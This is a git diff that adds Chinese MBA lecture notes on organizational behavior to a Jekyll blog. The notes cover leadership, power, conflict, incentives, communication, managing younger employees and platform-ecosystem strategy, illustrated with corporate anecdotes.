+关于团队动力学的最新研究，包括大家兴趣盎然的权力研究。我们每个人都希望自己有一个强大的气场，往那一站、能人自来。权力最重要的是依赖性。很多年轻人总是想以离职威胁领导，殊不知你只有具备重要性、稀缺性、不可替代性才能奏效。除此之外，免开尊口。 + +优秀的追随者造就优秀的管理者！《史记》中的楚汉相争，最终以刘邦称雄、项羽自刎江东告终，而刘邦却并不贪功，云：“夫运筹帷幄之中,决胜千里之外,吾不如子房。吾国安邦，不绝粮道，吾不如萧何。率兵打仗战必胜，攻必克，吾不如韩信。此三者皆人杰。”刘邦自嘲能力不如张良、萧何、韩信，但是却可以指挥他们，决胜千里。所以，在经营企业中，领导要善于领导比自己优秀的人，并进行组合，让优秀的人心甘情愿为你效力。 + +追随力有五个层次：第一，职位，即权力。人们追随你是因为他们非听不可。第二，认同，即关系。人们追随你是因为他们愿意听你的。第三，运营绩效，即成果。人们追随你是因为你对组织所做的贡献。第四，个人发展，即回报。人们追随你是因为你对他们所付出的。第五，领袖特质，即尊敬。人们追随你是因为你的领袖特质以及你所代表的东西。 + +由此可见，家国情怀，品德道德的感召力至关重要，我们需要分三步建立自己强大的气场。第一，建立自己“博学”或“专家”的声望。第二，以感性、弹性和充分沟通来施行影响战术。第三，让员工感到追求你比追求其他人更有意义。 + +![](/uploads/2019/06/03-19.png) + +1.4 关于冲突的最新研究 + +冲突分为建设性冲突和破坏性冲突。在团队建设过程中，要强调和发展建设性冲突，减少破坏性冲突。人们对组织冲突的理解大致经历了三个阶段：传统观念、人际关系观念和相互作用观念。相互作用，即冲突对于组织或群体既有建设性推动的一面，又有破坏性阻止性的一面。特别要说明的是，过分融洽、过分安静的组织和群体，会失去生机、活力和创新精神。所以，在科技迅速发展、颠覆性创新涌现的今天，我们有时需要想方设法增加建设性冲突，提高认知。 + +建设性冲突和破坏性冲突区别如下： + +![](/uploads/2019/06/03-20.png) + +在实际操作过程中，我们要化矛盾为合作共赢的机会。强调首要的共同的目标，减少产生冲突的差异，改善沟通和增进理解，减少任务的相互依赖，减少因资源稀缺导致的冲突，使经营规则和工作程序更为明确，培养员工解决问题的技能。 + +对于个人来讲，我们要明确冲突产生的原因，明确个人所处位置以了解产生不一致的根源，而不是立即改变自身看法，或者强加给他人自身的看法。我们每个人都可以通过坦诚自身不同意见，与多方进行讨论，化解冲突，寻求共赢。 + +二、发现互联网下半场中的团队新动能 + +2.1 开放式创新模型 + +在互联网时代，我们要赋予团队新的动能，即新的创新动能，新的激励动能，新的凝聚动能。 + +创新动能包括开放式创新模型与创新的核心动能。开放式创新是指引用知识的内外流通加速内部创新及扩大市场。企业通过发展技术、商务拓展，从封闭走向开放。 + +![](/uploads/2019/06/03-21.png) + +全球开放式创新之父亨利讲到封闭式创新存在假阳性和假阴性问题。假阳性，即企业研究出来的成果不符合市场需求；假阴性，即在研发过程中，一些成果符合市场需求的产品却被企业排斥。 + +封闭式创新认为我们这个领域的聪明人为我们工作，而开放式创新认为并非所有聪明人都为我们工作，所以我需要开放。封闭式创新认为为了从研发中获利，我们必须自己探索、开发并交付它；开放式创新认为外部研发可以创造价值；需要内部研发来获得该价值的某些部分。当今社会，企业研发仅占1%，而99%依托于外部发明创造。另外，绝大部分创新来源于小企业而非大企业。在如今这个时代，我们需要保持开放新创新思维。 + +例如，海尔hope平台，邀请10万家世界各地的大专院校、研究机关等，为各行各业的产品创新建言献策，共创共赢。另外，在知识产权方面，我们不仅应该保护知识产权，还应该推进购买其他企业知识产权，形成良性竞争。 + +2.2 创新的核心动能：三种态度和三个实践 + +伦敦商学院拉杰什教授指出，根据对17个国家不同行业的759个公司的研究表明：在推动公司创新的因素中，人们惯常认定的关键动因并未起到重大作用。迄今为止最大的创新动力其实在每一家公司中都存在：企业文化。 + +企业文化是什么文化呢？是三种态度。第一，关注未来市场。亚马逊通过发展电子商务，打败实体书店、打败沃尔玛，占领市场，聚焦未来。第二，愿意牺牲现在换取未来。以柯达为例，柯达作为最早采用数码技术的企业，不愿意牺牲现在照片胶卷带来的巨大收益，从而错失发展数码相机市场良机。其实，有些时候，要得到一样东西一定要牺牲一样东西，好事情不可能让你一个人获得，要把握分寸。作为企业，要活下去必须聚焦未来，适度牺牲一些眼前利益。第三，度的把握，要容忍风险。创新、创业必然有风险，企业既要容忍风险又要避免灾难性风险。 + +文化落地有三个原则，第一，有影响力的倡导者。企业要鼓励产创意的提出者，给予他们应有的职位与薪酬。第二，不对称的激励手段。例如，假设员工采用新的方法去做业务，如果没有成功，处罚也要适度，如果成功了，则需要给予更多奖励。第三，提倡内部自主权和竞争。一切资源向贡献多者倾斜，谁做的好就让谁上来。例如，微信最初是同时几个部门在研发，最终张小龙成功了，上位。企业一定要坚持优胜劣汰，实行奖励机制，这样才能给优秀人才足够的土壤发挥天赋，同时将不合格员工淘汰。 + +新的激励动能“匹配”与“结合”，即人—工作—奖励的匹配，物质激励与精神激励相结合；正激励与负激励相结合；内在激励与外在激励相结合；组织目标与个人目标相结合。同时，要清楚的知道，组织目标实现以后，个人目标才能实现，这就是结合。 + +从实务操作上来说，要做到人-工作-奖励的匹配，必须做到六个匹配。第一，经营战略和经营环境相匹配。第二，组织结构和战略匹配。如果组织结构不匹配，战略就无法实现，正如古人云“皮之不存，毛将焉附”。 第三，人力资源与组织结构相匹配。第四，激励机制与人力资源相匹配。第五，奖励标准与工作实绩相匹配。第六，企业文化与经营环境相匹配。 + +新激励机制的操作思路分三点。第一，分享机制：从职业经理人到事业合伙人。好的机制可以让不那么好的人变好，不好的机制可以让好的人变坏，这个机制就是分享机制。职业经理人虽然共享责任，但是不承担企业风险；事业合伙人则与企业共呼吸共命运。复星集团曾提出动态事业合伙人概念，即合伙人职位不固定，如果体现出企业家精神，就可以作为合伙人，反之则下位。 + +第二，倾斜重点：向成功的贡献者倾斜。第三，实施途径：全面报酬的优化组合。报酬和薪酬的区别在于报酬考虑工作环境。企业要给予员工良好的工作环境，将合适的员工置于合适的位置，基于员工性格特征进行工作匹配，例如有些员工在意名，有些在意利。任正非洞悉人性，将华为激励机制落到分钱、分权、分名、分责任，其股权仅占华为的1.42%，将股权分给更多华为员工。另外，任正非采用轮值CEO政策进行分权与分名。同时，将责任落实到个人。华为2018年的7000亿销售额，是由无数个团队，无数个100万、500万组成。由此，提高员工凝聚力。 + +凝聚力对于企业非常重要。一些企业在快速发展时，各路英豪集聚，一旦走下坡路，就作鸟兽散。曾经的中国互联网四大天王，盛大集团，涌现出无数当今时代创业的佼佼者，如阿里巴巴董事长张勇，“打工皇帝”唐骏等。由此可见，发展是最大的凝聚力，赋能是最强的粘合剂。例如，某个读书会，参与阿里巴巴促销，目标销量1.03亿，实际销量突破2亿，这就是阿里巴巴平台赋能的效果。于是，企业再也离不开阿里巴巴。 + +谷歌创始人之一拉里佩奇曾说：“未来组织中最重要的功能已经越来越清晰，那就是赋能。” 赋能有四个步骤。第一，构建基于平等和合作的全新劳动关系。第二，赋予并提升员工与权力相匹配的能力。第三，构建价值观趋同、彼此充分信任的团队。第四，赋予并挖掘员工独立思考的创新潜力。优秀的追随者造就优秀的管理者和优秀的领导者，但是优秀追随者的造则需要通过培训，同时为他们创造更多工作条件。 + +三、研究网络时代特征，探索新沟通途径 + +3.1 沟通的经典模型 + +沟通的过程通过发出者形成信息，对信息进行解码，传播信息给接收者，接收者进行信息解码、反馈。但在沟通过程中，会受到噪音影响，导致接收者会对发出者的信息造成一定误解，不能获得信息的本来面目。 + +![](/uploads/2019/06/03-22.png) + +例如，上世纪80年代的时候，美国商务部，派人到大连理工学院，为中国的一些高等院校培养教授管理学的老师。讲到沟通时，做了个实验。让学生排成三队，每组10人，让组员互相传达——新年到新年好，隔壁外婆烧年糕这句话，但是旁边会有锣鼓声干扰，传达信息最快的组获胜。于是，每组到最后，信息面目全非，原因在于受到干扰源影响。由此可见，信息的初衷，即你所讲的东西，希望向对方传达的信息非常重要。 + +# 互联网时代的沟通 + +谷歌内部文件曾写道：企业要让所有人都能发声，所有声音都被听到，最后大家自觉的会站到最好的那边，这才叫公司。网络时代的沟通方式包括电子邮件与语音邮件系统、网络电话、即时通信、视频会议等。 + +如今的沟通要求速度快，信息高度对称，扁平化、透明化，互动化，个性化等。在网络时代，企业要具备危机处理能力。管理复杂情境的能力：迅速隔离、界定问题。感性沟通，创造积极的情境效应。网络互动，与利益相关者一致行动。例如，某个演员人设崩塌，影院马上进行撤档，电视台节目马上换人。 + +网络时代“危机”的趋势特征包括从小概率事件演变为常态化事件、从独立事件演变为复杂联动事件、从组织主导演变为利益相关者主导、从企业事件演变为社会事件。 + +处理网络危机的命令模式包括：第一根据所获得的信息，迅速判定事情的轻重缓急。第二，迅速做出周密的决策。第三，发出清晰的、简要说明理由的指令。第四，对执行的速度和准确度进行监控。第五，对违反命令者严惩不贷。 + +3.3高管沟通的新思路 + +要成为优秀的高管，需要运用四种沟通方式提高管理效率。 + +第一，头脑风暴法。以上海实业的高管务虚会为例，1995年，提出与资产经营相结合。当时领导认为仅仅靠香烟赚钱无济于事，上市公司要与资本相结合，于是通过研究香港交易所上市的综合型控股公司，中信泰富，得出结论，标杆企业要将生产经营和资本经营相结合。上海实业要上市，必须打通资本渠道。1999年，收到亚洲金融风暴影响，提出企业全面转型，即进行产品转型、产业转型、管理转型、组织机构转型、思想转型等等。2004年，提出集成经营。2008年，受到美国金融风暴影响，提出三个严控，即严控大的项目流出，严控大的信贷等。高管务虚三要点：首先，是充分的头脑风暴，脑力激荡；其次，是形成共识，明确思路；第三，是总结提升，揭示背后逻辑。 + +资产经营的六个放大效应，即结构放大效应、交易放大效应、市场放大效应、融资放大效应、时间放大效应、效益放大效应。头脑风暴法的结果需要企业员工做到思想统一，明确目标及原因，才能进行有效沟通。 + +第二，同理心沟通。站在对方立场设身处地思考：在人际交往过程中，能够体会他人的情绪和想法、理解他人的立场和感受，并站在他人的角度思考和处理问题。主要体现在：情绪自控、换位思考、倾听能力以及表达尊重等与情商相关的方面。 + +微软的纳德拉，提出三个转型。首先，文化变革：自上而下驱动文化变革，让合适的团队做合适的事；其次、构建新型合作关系：建立耳目一新、出人意料的伙伴关系，共同做大蛋糕，并做到让客户满意；另外、战略转型：时刻准备赶上下一波创新和平台变革浪潮，在“移动为先，云为先”的世界里寻求机遇，并快速执行。纳德拉于2014年2月4号上任，在2月下旬和高管开了内部研讨会，从个人经历谈起，到个人在家庭中的角色，然后到如何承担家庭责任，最后到我们应该对社会承担什么责任。纳德拉讲述了自己三个孩子重病，每个星期要照看孩子的经历。于是，这次同理心沟通形成了一页纸，这页纸写明微软新的使命和愿景。 + +我曾经有一个失败案例，2004年2005年时，中国企业在海外发展受阻，原因在于我为中国企业在海外开发的社区取名“新中国城”，遭到当地民众反感。于是，我体会到，沟通必须用对方最容易接受的方式。 + +2004年9月15日，在我第一次见圣彼得堡市市长玛特维延科女士时，引用了普希金题为《10月19日》的诗。普希金原来读书的地方叫“皇村”，而“波罗的海明珠”则位于红村，我说，“我把普希金的诗改一个字，将其中的‘皇村’改为‘红村’”，并马上背给了市长听：“不管幸福向何处指引，也不顾命运将我抛向何方，其他一切都是异乡，我的母国只有红村。”市长一下子激动起来，立即表示：“我的手机24小时为你们开着。” + +2005年2月23日，在与俄罗斯老战士联欢时，我做足功课，随口大段地吟诵普希金等人的诗词、名言，还与他们一起唱俄罗斯歌曲，一下子拉近了双方的距离。 + +最终，我通过转变沟通方式，扭转了中国企业在俄罗斯的局面。2006年，中国商人靠普希金拿下了俄罗斯巨额工程。 + +第三，复盘学习。“回顾目标、评估结果、分析原因、总结经验”，是柳传志复盘理论的四个要素。而复盘也和“目的性很强、分阶段实施” 一起作为联想重要的方法论，成为企业文化的重要组成部分，贯穿联想管理思想的方方面面。建设性冲突的复盘要做到对事不对人，并分析个人优异表现的原因，分析他如何达成目标，树立榜样，让其他人效仿。同时，分析表现欠佳员工的原因，引以为戒，前车之覆后车之鉴，以此回顾目标，让其他员工吸取教训，事实胜于雄辩。 + +第四，反面教材法。马云曾说：“湖畔大学最大的不同，就是我们在这学习别人是怎么失败的。在战场上活着的人才是胜利者，活着出来的人才是成功者。”所以，企业要先活下去，才能 + +聚焦明天的发展。 + +3.4 实务操作指南：高管沟通中的12种有效方法 + +![](/uploads/2019/06/03-23.png) + +![](/uploads/2019/06/03-24.png) + +四、研究新生代的特征，打造高绩效团队 + +4.1 构造并赋能高效的工作团队 + +构造并赋能高绩效工作团队，引领新生代为核心的工作团队，创业团队如何组建、合作、发展，在这中间，我们要构造并辅助工作团队，看到时间和团队绩效。成长和发展是一个过程，绝非一蹴而就。但是你要坚信，坚持就会有效果。 + +![](/uploads/2019/06/03-25.png) + +企业绩效与团队的组建从最开始的不安定，到以领导为中心，最终形成自我管理的团队，这个过程需要时间的检验。在和团队一起工作时，管理者应该问自己下面4个问题：当前的任务和决策是否适合使用团队；如何才能最有效地赋能团队环境；如何才能最有效地赋能团队成员；如何才能最有效地赋能团队任务和团队过程。 + +4.2 引领以新生代为核心的工作团队 + +新生代员工特点包括重视自我、渴望认可、淡化权威、思维多元、厌恶规则、追求工作和生活平衡。所以，要想为新生代员工赋能，就要建立新生代团队管理框架包括：第一，高屋建瓴，引爆灵感。 + +例如，为员工提供与高手过招机会。任正非要求他的高级干部每年至少有三份职业，最后两份职业是同论坛和展览会的同僚喝咖啡，碰撞出思想的火花。 + +我在香港工作时，独立董事梁振英一句话让我们赚了30亿。原因在于香港机场要从红磡搬到大屿山，这位独立董事让我们利用机场边上的10栋楼建立工厂。于是，我们通过与香港有关部门的对接，将香烟厂从土瓜湾搬到藤门，味精厂从土瓜湾搬到青衣岛，购置新的厂房、新的设备，然后再通过合作，净赚30亿。 + +另一个案例是上海家化，这家企业在我们手里面上市了三次。一次是我们在上海以8倍市盈率收购，然后在香港以16倍市盈率上市；接着，1998年底1999年初香港开设创业板，罗嘉瑞建议我们将它分拆放到创业板上市，最终翻到30倍市盈率。而今，大陆经济向好，退出香港市场，回归上海上市，50倍市盈率。 + +第二，实践历练，轮岗培训。俗话说：“猛将必拔于卒伍，宰相必取于州郡。”由此可见，大仗、苦仗、恶仗，最能够锻炼干部。我们在海外开发时，有一段时间非常辛苦，每天以快餐面充饥。但是，我当时就跟团队队员说：“弟兄们，今天我祝贺你们有机会吃苦了。”因为天降大任于斯人，必须苦其心志，劳其筋骨，饿其体肤。也就是说，突然人才都是苦出来的，能力都是打仗打出来的，是练出来的。所以，我们要强调修炼，听课是修，实践是炼。光说不练，无法提升。在三五年后，你会感谢今天的苦。 + +第三，寓教于乐，多种形式。最好的教育方式是好雨知时节，当春乃发生，随风潜入夜，润物细无声。人与人之间交往要讲和谐，和谐的最高境界是心灵的和谐，心灵的和谐靠教育。 + +什么是幸福？奚恺元教授认为，“经济学为我们创造了一个富裕的世界，幸福学将为我们创造一个幸福的世界”。所以，如果我们要获得幸福，远离烦恼，就要减少争执。老子云，“不争而无不可争”。意思是说如果你不去争一些小事，最后天下就没有人与你争执。 + +我参加工作50年了，惊讶地发现，人与人之间生命轨迹迥然不同，相距甚远。那些生活很紧张、很辛苦的人，其实也很努力，但是却步入歧途。这些人有一个共同的特点，斤斤计较，什么都不愿失去，非常计较。还有一个特点就是，抓小放大，小的事情抓的很紧。而这些人，看似什么都没有失去，其实却失去了发展的机会。因为你如此计较小事，没人愿意与你合作。 + +所以，带团队要以大局为重，提高个人认知，建立团队共同话语体系。要讲精神，讲格局，心有多大，舞台多大。 + +第四，教练技术，定制课程。作为凡人，我们都不是自然成熟，要靠教练培训。美国运通银行的定制课程-年轻领导层培训内容如下： + +![](/uploads/2019/06/03-26.png) + +从这个案例中，我们可以看出，在启航阶段，更看重工作表现管理、意见反馈机制、情商管理；在发展阶段，更看重领导者的商业智慧，启发他人增加智慧。团队成员的智慧因为领导指挥的增加而增加，提高团队表现。 + +另外，培训课程要做到循序渐进。凡所有学过的知识，在未来都会用到，而没有学过的，未来都得补齐。《大学》里面曾经有这样一句话，“物有本末，事有始终，知所先后，则近道矣”。这意味着，如果你想要走最近的一条路，就要知道事情的先后顺序，先发生的先做，后发生的后做，一步一步，循序渐进，这才是正道。 + +4.2.1新生代团队六化管理 + +第一，工作生活化。鼓励社交工具在工作中广泛运用非正式沟通、非权威沟通占主导，跨职能、跨部门、跨等级链接。第二，管理融入化。淡化权威、双向沟通、共生共长。第三，轮岗制度化。复合型人才培养、蓝领职业发展路径设计、能力矩阵推广多技能工。第四，激励多样化。现金+非现金性福利：个性化激励与游戏化激励制度。第五，辅导个性化。双导师制度，工作导师与生活导师。第六，团队虚拟化。精确匹配、高效便捷、虚拟会议、主题多元。 + +4.2.2新生代员工管理：蓝领发展计划 + +![](/uploads/2019/06/03-27.png) + +4.3创业团队的组建、合作与发展 + +成熟创业团队有三个特征：继任结构完整、角色结构完整、权利配置科学。团队成员要形成互补关系，承担不同角色，才能保证产品市场化、商业化。这意味着在团队中间，要有产品能人，销售能人，协调能人。很多人是偏才，也许做研究的人，人际交往能力较差，但是专业能力过硬，企业就不要让他花费过多时间在人际交往上面，不然他就会浪费才华，做不出更好的研究。 + +我有一个学生，在2012年二次创业，但是在2016年遇到联合创始人想要单干，去做区块链的局面。这个时候，如果让他离开，团队就会受到很大影响。这时，内部团队中有人建议让这位创始人不要将股权全部套现，而是进行内部创业，将现有公司职位微降一些，如果区块链创业失败，可以回归企业。在2018年年底，区块链一篇哀嚎，这位创始人得以全身而退，还要感谢内部创业机制的提出。由此可见，团队中间要互补，兼具社交大牛、市场开发大牛、技术大牛等，才能将产品快速迭代，处理政商关系等等。 + +创业团队合作质量的体现在六个方面，即沟通、协调、平衡团队贡献、相互支持、努力、凝聚力。 + +高效创业团队的管理的要点包括四个方面： + +第一，管理重点：企业价值发掘，致力创造新企业的价值。企业要想持续发展，获得生命力，关键在于能否为社会、为客户创造价值，只有做到这两点，才能创造更高企业价值。当企业价值有了以后，再进行价值挖掘，创造企业新的价值。 + +第二，决策要点：增加认知冲突，减少情感冲突。通过头脑风暴增加建设性冲突，提高思维认知，达成共识。 + +第三，分配特点：公平且有弹性，员工与创业企业成长。 + +第四，团队组合：能力搭配完美，彼此充分信任。 \ No newline at end of file diff --git a/_posts/2019-06-03-382-mba1203.md b/_posts/2019-06-03-382-mba1203.md new file mode 100644 index 0000000..99f90b2 --- /dev/null +++ b/_posts/2019-06-03-382-mba1203.md @@ -0,0 +1,215 @@ +--- +layout: post +title: 【组织行为学模块】 第3节 宏观层面：聚焦生态，再造组织 +pid: 382 +tags: [mba] +--- + +一、组织发展的经典理论和最新研究 + +宏观层面的组织行为，聚焦生态，即我们要做什么、引领什么以顺应新经济逻辑的组织变革、组织创新。 + +1.1 经典理论：组织结构的影响因素及其结果 + +皮之不存，毛将焉附，即好想法、好战略要靠好的组织结构，例如组织绩效、员工满意度。 + +员工满意度与组织结构设计息息相关。由于相同的资源被不同的人利用，结果截然不同，所以好的机构设计受到个体差异和文化规范调节。 + +![](/uploads/2019/06/03-28.png) + +假定个体资源非常好，做得也很好，结构却不好，原因在于战略、规模、战术、环境不到位。互联网发展诞生平台，战略发展要与环境相匹配。 + +1.2 关于组织生态的最新研究 + +1.2.1企业资源整合的革命性转变 + +企业资源整合革命性转变，即企业发展模式是革命性转变、平台生态是一种革命性趋势。 + +以强生和滴滴出行为例， 强生1919年成立，滴滴出行2012年成立。如今，强生从业人数3.5万人，营运车辆13000辆；滴滴为2100万注册司机，约8000员工。强生总市值￥43.81亿，滴滴原计划2018年下半年上市，市值估计到700至800亿美元。因接连爆出安全问题而搁置。由此可见，时代在变化，资源整合方式也在变化。当今最好的资源整合方式是平台结构。 + +以希尔顿和Airbnb（爱彼迎）为例，希尔顿1919年成立，Airbnb2008年成立。希尔顿旗下酒店合计105个国家及地区，全球酒店总数超过了5200家，85.6万间客房；Airbnb业务遍布全球1000多个城市，提供450万个房源，其数量已超越万豪及喜达屋集团合并后所有实体房间数的两倍。希尔顿总市值$213.53亿，Airbnb估值$310亿，计划2019年启动上市 + +Airbnb和滴滴的共同之处在于都是用平台建立生态。研究发现，凡是指数级上升企业的商业模式的共同点在于不完全靠自生的资源，自生的资源仅仅起杠杆作用，企业通过自生资源撬动其它资源。 + +从美国农业、网络通信、消费品产品、教育、能源重工业、金融、医疗保健、游戏、人力资源、物流等行业数据发现，平台经济时代已经到来。 + +![](/uploads/2019/06/03-29.png) + +综上，不同的资源整合方式，其结果是完全不一样的；平台整合资源具有开放、合作、整合的特征，形成了传统出租车业务、酒店业务的颠覆；平台依据网络，带来无限的想象空间，也带来更大的发展空间。 + +1.2.2 企业发展模式的革命性转变 + +曾记否，企业发展模式以跨国公司为路径；现如今，平台生态系统是一个发展趋势。截止2018年12月，全球十大平台经济体市值早已经超过十大传统跨国公司，其中中国公司占三席。 + +![](/uploads/2019/06/03-30.png) + +近十年来，全世界市值最高的10家公司增长速度最快的为亚马逊（34.48%）、腾讯（33.07%）、谷歌（7.5%）。由于Facebook和阿里巴巴两家企业分别在2012年、2014年才上市，所以6.12%与1.66%的增长速度显然不足以说明问题。所以，最近20年，全球做得最为成功的企业，共同做对了一件事：用平台结构整合资源，用平台生态方式发展企业。 + +![](/uploads/2019/06/03-31.png) + +就组织变革来看，只要一家企业具备网络协同、数据赋能和共赢机制这三种发展动力，它就会像黑洞一样吸收周边资源，越长越大，不可逆转。人与人交往也是如此，一定要互利，一定要共赢。 + +数字经济促使平台产生。工业化时代下企业的战略空间，围绕产业条件（可做）+资源条件（能做）+优势条件（想做）展开，最后回答战略的两大核心问题“到哪里去？如何赢？”数字化技术打破了产业的边界，几乎一切都可做。比如：评估公司究竟是什么行业？恐怕现在已经很难分得清楚了。其次，在“能做”方面，数字化技术大大增强了企业链接和整合资源的能力，几乎一切都变得能做了。当“可做”与“能做”几乎可以无限延展时，企业“想做”什么就变得尤为重要了。在这样的情况下，数字经济使平台应运而生。 + +企业资源整合方式起了革命性变化。作为一种革命性的趋势，平台经济正在不断改变现代人的生活。目前全球最大的100家企业，已有60家企业的主要收入源自平台为基础的商业模式，并运用共赢生态圈持续扩大版图。 + +1.3 关于组织变革的最新研究 + +1.3.1 四类故事，促进组织变革 + +组织变革的趋势是往生态、往有机这方面发展。约翰·科特认为变革要从这8个方面着手，即增强紧迫感、组建领导团队，确立愿景、沟通愿景、授权行动、创造短期成果、巩固成果并进一步推进变革、将新方法融入企业文化。 + +以微软为例，首先要组建团队，减少团队不和谐声音，将不能适应变革的人员踢出团队，接着通过同理心沟通、确立愿景、授权行动，让优秀人才的聪明才智得以最大化发挥，创造短期成果，巩固成果并进一步推进变革，将新方法融入企业文化。 + +适应性变革适合中国国情。适应性变革对于变革型领导者来讲，其适时性就表现为变革型领导者能够及时有效的捕捉到变革的气息，发现时代变革或转型期带来的新形势新发展，准确把握新形势新发展的特点，进而积极能动的使自身和组织符合时代的要求；其应用性表现为，变革型领导者在变革发生前、发生中或发生后，对于自身或组织的观念和行为，在操作层面上都能采取适当的措施，做到恰当应用。在变革型领导者中，适时性和应用性二者始终是紧密结合的，共同作用的。也就是说，认知领先一步，行动领先半步。 + +1998年，我开始接管公司海外业务，当时欧洲公司建议我们投资高新开发区，受到当地政府热烈欢迎。但是，当时由于当地经济环境、人文环境并不具备发展的前提，导致血本无归，而在这个时候，就是神仙也无力回天。所以，企业进入行业的时机至关重要，不但要讲风口，还要讲窗口。只有窗口期项目才能落地，否则就是烈士。例如共享单车行业是大势所趋，但是当老百姓的认知程度、道德水准还没有到这一步时，企业不得不为国捐躯。 + +作为企业，要把握时代风潮，明确变革时机。平台时代，分为两种商业模式。一种是企业自建平台，一种是企业进入平台，进入生态圈。领导者要学会讲四类故事，促进组织变革，即我们是谁，我们向何处去，我们为什么要改变，我们如何实现新目标。 + +首先，从我们是谁角度，领导者作用的体现是领导者能够把自己的价值观传播开来，让更多的人相信和实践这种价值观。从“我是谁”的故事到“我们是谁”的故事，是对领导者的重要考验。“我是谁”，讲的是领导者自己的信仰和实践什么样的价值观。“我们是谁”的故事，讲述的是组织中的每一个员工信仰和实践什么样的价值观。 + +![](/uploads/2019/06/03-32.png) + +第二，“我们向何处去”的故事强调的是组织的使命、愿景和目标。 + +![](/uploads/2019/06/03-33.png) + +第三，“我们为什么要改变”侧重讲述糟糕的现状，坚定听众改变现状的决心，即使还没有明确未来的方向。变革故事需要起到一面魔镜的作用，找出组织貌似健康的皮肤下的肿瘤，如果不将肿瘤剔除，企业将会看不到明天的太阳。 + +![](/uploads/2019/06/03-34.png) + +第四，“我们如何实现新目标”的故事，重在对员工进行启发，通过提供正能量，鼓励他们积极寻找解决问题的思路。领导者的终极使命就是让自己成为团队目标的传染源，利用“共情效应”，将自己描述的目标体系用故事的方式传染给整个团队，从而强化凝聚力、向心力和战斗力。 + +![](/uploads/2019/06/03-35.png) + +我有个学生是富士康建筑设计院的一位副院长。他讲到，南海有一个美丽的地方，大家都很向往，却索求无门。成长的痛苦是短暂的，落后的痛苦是永远的。每天成长1%，一年后强大37倍；而如果每天落后1%，一年以后落后97%。所以，我们需要每天不断进步，走出舒适区。俗话说，黎明前的黑暗是最暗的，创业要熬过痛苦，才能获得希望。 + +![](/uploads/2019/06/03-36.png) + +1.3.2自我测试：你对待变革的态度如何？ + +![](/uploads/2019/06/03-37.png) + +鲁迅先生曾说，“既得利益者往往是现状维持派。”因为我能够从现状中得到好处，我就不希望改变现状。人是很难走出舒适区的，人都希望享受待在舒适区，但是为了明天更好的发展，你必须颠覆自己，不然就会被别人颠覆。 + +二、探索以共赢生态为特征的组织变革 + +2.1 探索共赢生态的主要特征 + +共赢生态是大势所趋，共有三个特征，即平台生态基础，平台生态动能，平台生态趋势。 + +2.1.1 平台生态基础 + +平台生态以创造强链接的网络效应为基础。首先，平台的价值，源于强大的网络效应。其次，强大的网络效应，源于巧妙的创造链接。 + +以德勤研究为例，他们将美国上市公司分为四类，包括有形资产制造者，服务提供者，技术开发者和网络构建者。得出结论，四类公司中，网络构建者创造价值的效率远大于另外三类公司，平均市场乘数数值上的差距就是网络效应所能创造的价值。 + +![](/uploads/2019/06/03-38.png) + +网络效应源于巧妙地创造链接。例如，Google创造了人和信息的链接。苹果创造了人与应用程序的链接。App Store有16万家公司为它提供的126万款应用软件。苹果设备自己设计操作系统，由富士康帮代工生产硬件，软件由哈佛大学设计，而苹果仅仅是将这些东西链接起来，创造效益。Facebook创造了人与人的链接。 + +东方财富网创始人其实将企业市值由￥300万做到￥1500亿。他说：“我就做对了一件事。链接人与财富。” + +印度的滴滴打人业务源于印度治安很差，警察数量很少，女士安全堪忧。现在，女士只需一天付8毛钱，在遇到危险时，就会有保安驰援。另外，如果有青年途中遭遇爆胎，只要按下滴滴打人，就会附近的人协助换胎。由此可见，价值源于网络效应创造的链接。未来你的管理能力，很重要取决于你的网络链接力！ + +2.1.2 平台生态的动能：实现正反馈的价值创造 + +很多创业公司都在做链接，但是却不断消亡，原因在于它没有很好的实现正反馈，没有很好的创造价值。 + +网络效应的渗透源于链接中间的价值创造。平台的网络链接是否顺畅，取决于链接中的价值创造。平台的价值创造，又源于平台的网络链接实现了正反馈。以2014年影响巨大的关于Uber的估值辩论为例，2014年，正值互联网泡沫盛行之际，人们对互联网公司的估值持有怀疑态度。2014年4月，Uber以$180亿估值，募集$12亿。消息一出，哗然一片。一种意见，以纽约大学的西蒙奖获得者为代表，他认为Uber撑不起如此高的估值，通过对出租车市场规模、Uber市场占有率、出租车市场的平均市盈率、人口等因素的测算，认为其估值仅为$59亿。 + +另一种意见，以硅谷投资人为代表，他认为对Uber的估值不应该按照传统方法测算，而是应该评估其所产生的网络价值。 + +![](/uploads/2019/06/03-39.png) + +Uber最重要解决的就是说司机和乘客之间的匹配。乘客通过Uber更快捷打上车，减少司机闲置时间，由此降低费率，从而激发需求，最终增加地区渗透率。 + +Uber，于2009年最早在旧金山进行市场拓展，2014年时，旧金山地区出租车市场的规模扩大3倍，这与$180亿估值，即初始$59亿，扩大三倍，$180亿。这就是网络效应的正反馈，而负反馈在于司机需求过剩，导致闲置时间增加，不利于行业发展。 + +综上，我们在设计一个平台型生态系统的时候，首先要能够创造价值，但光创造价值还不够，还要创造足够大的增量价值。仅仅靠烧钱，不创造增量价值的商业模式，将难以为继。 + +2.1.3 平台生态的趋势：有效互补的共赢生态圈 + +平台生态的趋势是建立有效互补的共赢生态圈。平台形态从最开始的信息性平台——新浪、搜狐，到交易型平台——淘宝、京东，到撮合性平台再到最终交互型平台。 + +![](/uploads/2019/06/03-40.png) + +共赢生态圈探索思路： + ++ 平安由保险核心产业逐步进化至金融生态，同步通过共享平台打通客户，逐步扩张到其他生态圈。 ++ 阿里巴巴以电商、金融和云服务为核心，致力拓展 2B 和 2C 业务，并围绕两者之间 打通布局生态。 ++ 华为是基于技术创新的“平台+ 链接+生态”的物联网生态系统发展战略。华为EBG中国区总裁蔡英华宣布，华为将持续打造生态沃土。2018年，华为将在9大行业打造279张生态合作地图，将投入35亿用于伙伴激励。 ++ 小米从最初的手机业务不断迭代转型成为新零售生态链，用户数量与产品 种类螺旋增长，形成完整 C2M 生态。 ++ 亚马逊利用大数据和技术分析将 C 端客户与 M 端产品服务相连，通过持续的新产 品和新服务的开发，亚马逊用丰富的产品制造端构建了全渠道生态体系。 + +2.2 探索共赢生态的操作思路 + +自建平台：新的创业者、或者企业的全新业务单元。一般以构建信息化平台的方式，以外来者的姿态进入，颠覆或者整合某个产业。 + +企业平台化：处于产业链上某个位置的企业，以现有的组织为基础、以当前的产业链地位为依托，整合产业链资源，形成全新的产业服务平台。 + +参与平台：一类是专业细分领域的产品或服务提供商，本身产品和服务具有专业性，难以被替代。还有一类企业，会依托大平台，成为平台生态的成员。 + +2.2.1 自建平台 + +以复兴集团为例，目标是幸福生态系统，建立健康、富足、快乐的生态系统。 + 